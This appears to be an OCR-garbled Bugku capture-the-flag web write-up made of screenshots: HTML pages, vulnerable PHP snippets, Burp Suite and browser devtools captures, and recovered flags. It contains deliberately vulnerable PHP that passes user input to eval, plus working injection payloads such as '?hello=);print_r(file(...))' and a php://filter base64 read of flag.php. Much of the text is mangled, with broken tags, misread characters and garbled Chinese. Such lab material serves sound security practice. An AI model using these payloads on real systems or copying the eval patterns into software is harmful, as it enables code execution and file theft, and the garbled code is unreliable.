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<html xmlns="http://www.w3.0rg/1999/xhtml">
» <head>..</head>
¥ <body>
<span id-"code" class="code" style-"background: rgb(221, 58, 1); color: rgb(172, 163, 67);">1+6=?</span>
<input type-"text" class="input” maxlength:"l‘B == g0
<button id="check">&:ilfF</button>
P <div style="text-align:center;">.</div>
<script src="js/jquery-1.12.3.min.js"></script>
<script type="text/javascript” src="js/code.js"></script>
</body>
</html>
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<html xmlns="http://www.w3.0rg/1999/xhtml">
¥ <head>..</head>
¥ <body>
<span id="code" class="code" style="background: rgb(221, 58, 1); color: rgb(172, 163, 67);">1+6=?</span>
<input type-"text" class-"input"|maxlength="1"} == 30
<button id="check”>%3if</button>
P <div style="text-align:center;">.</div>
<script src="js/jquery-1.12.3.min.js"></script>
<script type="text/javascript” src="js/code.js"></script>
</body>
</html>
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$what=$ GET['what];

echo $what;
if($what=="flag")
echo 'flag{****};
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$what=$_POST['what'];

echo $what;

if($what=="flag")

echo 'flag{=**#}"
flagflag{bugku_get ssseint67se}

@ OBEE Ofs DEEE DHERSE C#E ORF =FE B FE  + IESHs @ HackBar

Encryption + Encoding~ SQL~ XSS~ Other ~ Chrome BackBar

i Load URL hitp://123.206.87.240:8002/post/
gg Split URL
) Execute
E Postdata [] Referrer [ User Agent [] Cookies
what=flag
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$num=$ GET['num’];
if(lis_numeric($num))
{
echo $num;
if(num==1)
echo 'ﬂag{**********}.;

}
1e0.1flag{bugku-789-ps-ssdf}
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E’ Burp Suite Professional v1.6 - licensed to Larrylau m} x
Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner I\ntruder Tnepeaher TSequencer TDecnder Tcumparer IExtender Iominns Alerts
1 x|
G0 | | canca <|r > Target: http:/i123.206.87.240:8002 EJ EJ
Request Response
Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
GET fweb12/ HTTP/1.1 A HTTP/1.1 200 OK A
r r
Host: 123.206.87.240:8002 Server: nginx
Proxy-Connection: keep-alive Date: Mon, 22 Apr 2013 15:41:53 GMT
Upgrade-Insecure-Requests: 1 Content-Type: text/html
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebkit/537.36 (KHTML, like Gecka) Connection: keep-alive
Chromef63.0.3239.132 Safari/s37.36 Keep-Alive: timeout=60
Accept: text/html application/xhtral+xml,applicationfxml; g=0.9 imagefwsbp imagefapng, ™ o=0.8 Content-Length: 630
DNT: 1
Accept-Encoding: gzip, deflate <html>
Accept-Language: zh-CN zh;q=0.9 en;q=0.8 <head>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description” content="">
<meta name="author" content="">
<title>Dummy game</til=>
</head>
<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()’,500);
<fscript>
<body>
<center=<strong=1 want to play Dummy game with others€jBut | can't
stopl</strong></center>
<center=Stop at panda ! u will get flag</center>
<center><div=<img src="10.jpg"/></div></center=<hr><a
style="display:none">flag{dummy_game_1s_s0_popular}c/z></body>
</html> /
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Done 795 bytes | 44 milis
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<?php
include "flag.php";
$a = @$_REQUEST[ 'hello'];
eval("var_dump($a);");
show_source(__FILE_ );
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fi&?hello=);print_r(file("flag.php")
o # ?hello=1);show_source("flag.php");var_dump(2

% ?hello=1) ;show_source("flag.php");//

print_r() &8 % R H T4 30l

var_dump() s #n] Dl AR N A : SR ENS, RENERFERNE, B8, KE
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B flag.php i N2 Ehellot

?hello=get_file_contents('flag.php"')

5i# ?hello=file('flag.php"')
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TEURL E#Jiihttp://120.24.86.145:8003/index.php?hello=1);include $ POST['f'];//
{EPOSTIX I Zf=php://filter/convert.base64-encode/resource=flag.php
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<?php
error_reporting(0);
include "flagl.php";
highlight_file(_ file_ );
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/"\w+$/",$args)){
die("args error!");

}
eval("var_dump($$args);");
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% % ~ [@chabug Qa 0 0 & ¥ =
& d Elements  Console  Sources Network Performance Memory Application  Security  Audits ~ AdBlock iox

® O ™ 7| viw
) vide data URLs (1) xHR JS €SS Img Media Font Doc WS Manfest Other

O Group by frame | @ preservelog [ Disable cache | O Offfne Online ¥

| 10ms 20ms. 30ms 40ms. 50 ms. &0 ms 70ms 80ms N ms 100ms 10|
e X Headers Preview Response Timing
|| hdphp? ¥ General

Request URL: http://123.206.57.240:0009/hd. php 2get=123
Request Method: GET
Status Code: ® 200 0k

Address: 123.206.57.240:9009

no-referrer-when-downgrade

Refen

¥ Response Headers
HTTP/1.1 200 0K
Server: ngimx
Date: Tue, 23 Apr 2019/67:31:50 GHT
Content-Type: text/
Transfer-Encoding:

view parsed

flag{Bugku_ke_23s_istra}:
Content-Encoding: gzip

¥ Request Headers  view source
Accept: text/htwl,applicati
8,%/";q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-Cll, zh;q=0.9,en;q=0.5
Cache-Control: max-age=e
Connection: kesp-alive
DNT: 1
Host: 123.206.57. 2409009
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/s.0 (Windows NT 10.8; WOWG4) AppleWebKit/S37.36 (KHTHL, like Ge
cko) Chrome/63.0.3239.132 Safari/537.36

xhtmlexml, appli xn13q=2.9, imag i apn

¥ Query String Parameters view URL encoded

get: 123

view source

1requests | 366 B transferred | Finish: 84ms | ..
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Burp Suite Community Edition v1.7.33 - Temporary Project

Burp Intruder Repeater Window Help

[0 [ - [ so0r [ scamer [ v g | e | oo | corpwrr | exror | ocgans [ vorions [ s |

1x|12x |3 x |4x |86 x
Go Cancel <.|x >|v Target: http://120.24.86.145:9009 @ @
Request Response
Headers | Hex Eﬂm tex | HTUL | Renger |
[BET thd php HTTPA 4 Y HTTPA 1 200 OK A
Host: 120.24.86.145:9009 Server: nginx a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Date: Mon, 04 Jun 2018 07:38:46 GMT
Accept: texthtml application/xhtmi+xml application/xml,g=0.9 */*;q=0.8 Contert-Type: text/html
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 zh-HK;g=0 5 en-US;q=0 3 en;g=0.2 Connection: close
Accept-Encoding: gzip, deflate flag{Bughu
Connection: close ontel
Upgrade-Insecure-Reqguests: 1
Cache-Control: max-age=0
<html>
<meta hitp-equiv="Content-Type" content="text/html, charset=UTF-8" />
<pres<bre<bre<br><br>{tZ W& . <br><br>
</htmi=
- -
| ]
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Done 303 bytes | 54 millis
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